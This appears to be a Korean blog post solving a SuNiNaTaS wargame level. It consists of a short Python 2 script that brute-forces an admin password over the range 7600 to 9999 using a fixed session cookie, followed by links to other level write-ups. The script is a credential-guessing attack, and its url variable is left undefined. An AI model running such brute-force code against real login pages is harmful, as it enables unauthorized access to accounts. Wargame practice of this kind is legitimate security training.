1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import urllib, urllib2
 
 
#User_Agent = "SuNiNaTaS"
i = ""
for i in range(7600,10000):
    dat = {'id': 'admin', 'pw': i}
    dat = urllib.urlencode(dat)
    print dat
    header = {'Cookie': "ASPSESSIONIDCCRBCADD=FMCHFPOCKMPIDIOPDCBFBLCE"}
 
    req = urllib2.Request(url, dat, headers=header)
#req.add_header=('User-Agent', User_Agent)
 
    res = urllib2.urlopen(req).read()
    if "Password Incorrect!" not in res:
        print "[*]Find Auth Key!" + str(i)
        break
        sys.exit(1)

'Wargame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS web23번  (0) 2017.03.10
SuNiNaTaS web22번  (0) 2017.03.07
SuNiNaTaS web07번  (0) 2017.03.07
SuNiNaTaS web06번  (0) 2017.03.07
SuNiNaTaS web05번  (0) 2017.03.07

+ Recent posts